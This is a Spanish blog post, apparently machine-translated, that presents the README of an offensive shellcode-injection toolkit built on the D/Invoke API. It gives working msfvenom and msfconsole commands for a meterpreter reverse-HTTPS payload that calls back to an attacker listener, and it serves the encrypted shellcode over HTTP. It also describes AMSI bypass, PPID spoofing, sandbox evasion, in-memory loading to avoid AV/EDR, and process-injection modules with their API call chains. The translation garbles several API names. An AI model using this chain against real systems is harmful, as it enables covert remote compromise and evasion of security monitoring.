Tutoriales

Colección de técnicas de inyección de Shellcode

Inyector repositorio es una acumulación de mis fragmentos de código para varios inyección de shellcode técnicas utilizando la fantástica API D/Invoke de @TheWover y @FuzzySecurity.

Características:

  • Completamente portado a D/Invoke API
  • Cargas útiles cifradas que se pueden invocar desde una URL o pasar en base64 como argumento
  • Bypass AMSI incorporado
  • Falsificación de PPID y bloqueo de archivos DLL que no son de Microsoft (robados de TikiTorch, el informe está aquí)
  • Detección y evasión de Sandbox

ℹ️ Según mis pruebas, el paquete DInvoke NuGet en sí está siendo señalado por muchas soluciones AV/EDR comerciales cuando se incluye como un recurso integrado a través de Costura.Fody (o enfoques similares), por lo que lo he reducido un poco e incluido desde la fuente para lograr mejor OpSec.

DESCARGO DE RESPONSABILIDAD. Toda la información contenida en este repositorio se proporciona únicamente con fines educativos y de investigación. El autor no es responsable del uso ilegal de esta herramienta.

Uso

  • Compilar el proyecto en VS.
  • Genere un shellcode para su C2 favorito:

~$ msfvenom -p windows/x64/meterpreter/reverse_winhttps LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f raw -o shellcode.bin

Cifrar el código shell:

~$ encrypt.py shellcode.bin -p ‘Contraseña!’ -o enc

Sirva el shellcode encriptado y prepare el oyente C2:

~$ sudo python3 -m http.servidor 80
~$ sudo msfconsole -qx «usar exploit/multi/handler; establecer payload windows/x64/meterpreter/reverse_winhttps; establecer lhost 10.10.13.37; establecer lport 443; establecer hilo EXITFUNC; ejecutar»

  • Utilice la base de descarga de PowerShell para cargar DInjector.dll como System.Reflection.Assembly y ejecutarlo de memoria.

I no recomiendo poner el ensamblaje en el disco porque es muy probable que esté marcado.

Argumentos globales requeridos:

Nombre Valor de ejemplo Descripción
/am51 True, False Aplica derivación AMSI
/sc http://10.10.13.37/enc Establece la ruta del shellcode (se puede cargar desde la URL o como una cadena Base64)
/password Passw0rd! Establece la contraseña para descifrar el shellcode

Módulos

Las consideraciones seguras de OpSec se basan en mi experiencia de uso personal y algunas pruebas en el camino.

Puntero de función

module_name: ‘funciónpointer’
descripción:
Asigna una región de memoria RW, copia el shellcode en ella
y lo ejecuta como una función.
llamadas:
ntdll.dll:
1: ‘NtAsignarMemoriaVirtual (PAGE_READWRITE)’
2: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
opsec_safe: falso
referencias:
‘http://disbauxes.upc.es/code/two-basic-ways-to-run-and-test-shellcode/’
‘https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-sin-windows-apis’
‘https://www.fergonez.net/post/shellcode-csharp’

FunctionPointerV2

module_name: ‘functionpointerv2’
descripción:
Establece RX en una matriz de bytes y la ejecuta como una función.
llamadas:
ntdll.dll:
1: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
opsec_safe: falso
referencias:
‘https://jhalon.github.io/utilizando-syscalls-in-csharp-1/’
‘https://jhalon.github.io/utilizando-syscalls-in-csharp-2/’
‘https://github.com/jhalon/SharpCall/blob/master/Syscalls.cs’

PortapapelesPuntero

module_name: ‘puntero del portapapeles’
descripción:
Copia bytes de shellcode en el portapapeles,
establece RX en él y lo ejecuta como una función.
llamadas:
usuario32.dll:
1: ‘Abrir Portapapeles’
2: ‘Establecer datos del portapapeles’
3: ‘Cerrar portapapeles’
ntdll.dll:
1: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
opsec_safe: verdadero
referencias:

Subproceso actual

module_name: ‘hilo actual’
descripción:
Inyecta shellcode en el proceso actual.
Ejecución de subprocesos a través de NtCreateThreadEx.
llamadas:
ntdll.dll:
1: ‘NtAsignarMemoriaVirtual (PAGE_READWRITE)’
2: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
3: ‘NtCreateThreadEx’
4: ‘NtWaitForSingleObject’
5: ‘NtFreeVirtualMemory (código de shell)’
opsec_safe: falso
referencias:
‘https://github.com/XingYun-Cloud/D-Invoke-syscall/blob/main/Program
.cs’

SubprocesoActualUuid

module_name: ‘currentthreaduuid’
descripción:
Inyecta shellcode en el proceso actual.
Ejecución de subprocesos a través de EnumSystemLocalesA.
llamadas:
kernel32.dll:
1: ‘Crear montón’
2: ‘EnumSystemLocalesA’
rpcrt4.dll:
1: ‘UuidDeCadenaA’
opsec_safe: falso
referencias:
‘https://blog.sunggwanchoi.com/eng-uuid-shellcode-ejecución/’
‘https://github.com/ChoiSG/UuidShellcodeExec/blob/main/USEConsole/Program.cs’

Subproceso remoto

module_name: ‘hilo remoto’
argumentos:
/pid:1337
descripción:
Inyecta shellcode en un proceso remoto existente.
Ejecución de subprocesos a través de NtCreateThreadEx.
llamadas:
ntdll.dll:
1: ‘NtOpenProceso’
2: ‘NtAsignarMemoriaVirtual (PAGE_READWRITE)’
3: ‘NtWriteVirtualMemory (código de shell)’
4: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
5: ‘NtCreateThreadEx’
opsec_safe: falso
referencias:
‘https://github.com/S3cur3Th1sSh1t/SharpImpersonation/blob/main/SharpImpersonation/Shellcode.cs’

RemoteThreadDll

module_name: ‘remotethreaddll’
argumentos:
/pid:1337
/dll:msvcp_win.dll
descripción:
Inyecta shellcode en un proceso remoto existente
sobrescribiendo una de las secciones .text de sus módulos cargados.
Ejecución de subprocesos a través de NtCreateThreadEx.
llamadas:
ntdll.dll:
1: ‘NtOpenProceso’
2: ‘NtWriteVirtualMemory (código de shell)’
3: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
4: ‘NtCreateThreadEx’
opsec_seguro: –
referencias:
‘https://www.netero1010-secu
ritylab.com/eavsion/alternative-process-injection’

RemoteThreadContextRemoteThreadContext

module_name: ‘remotethreadcontext’
argumentos:
/imagen:C:\Windows\System32\svchost.exe
/ppid:31337
/blockDlls:Verdadero
descripción:
Inyecta shellcode en un proceso remoto recién generado.
Ejecución de subprocesos a través de SetThreadContext.
llamadas:
kernel32.dll:
1: ‘InicializarProcThreadAttributeList’
2: ‘ActualizarProcThreadAttribute (blockDLL)’
3: ‘ActualizarProcThreadAttribute (PPID)’
4: ‘CrearProcesoA’
ntdll.dll:
1: ‘NtAsignarMemoriaVirtual (PAGE_READWRITE)’
2: ‘NtWriteVirtualMemory (código de shell)’
3: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
4: ‘NtCreateThreadEx (CREATE_SUSPENDED)’
5: ‘GetThreadContext’
6: ‘Establecer contexto de subproceso’
7: ‘NtResumeThread’
opsec_safe: verdadero
referencias:
‘https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/’
‘https://github.com/djhohnstein/CSharpSetThreadContext/blob/master/Runner/Program.cs’

ProcesoHueco

module_name: ‘proceso hueco’
argumentos:
/imagen:C:\Windows\System32\svchost.exe
/ppid:31337
/blockDlls:Verdadero
descripción:
Inyecta shellcode en un proceso remoto recién generado.
Ejecución de subprocesos a través de NtResumeThread (hueco con shellcode).
llamadas:
kernel32.dll:
1: ‘InicializarProcThreadAttributeList’
2: ‘ActualizarProcThreadAttribute (blockDLL)’
3: ‘ActualizarProcThreadAttribute (PPID)’
4: ‘CrearProcesoA’
ntdll.dll:
1: ‘NtQueryInformationProcess’
2: ‘NtReadVirtualMemory (ptrImageBaseAddress)’
3: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READWRITE)’
4: ‘NtWriteVirtualMemory (código de shell)’
5: ‘NtProtectVirtualMemory (antigua protección)’
6: ‘NtResumeThread’
opsec_safe: falso
referencias:
‘https://github.com/CCob/SharpBlock/blob/master/Program.cs’

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada.

Botón volver arriba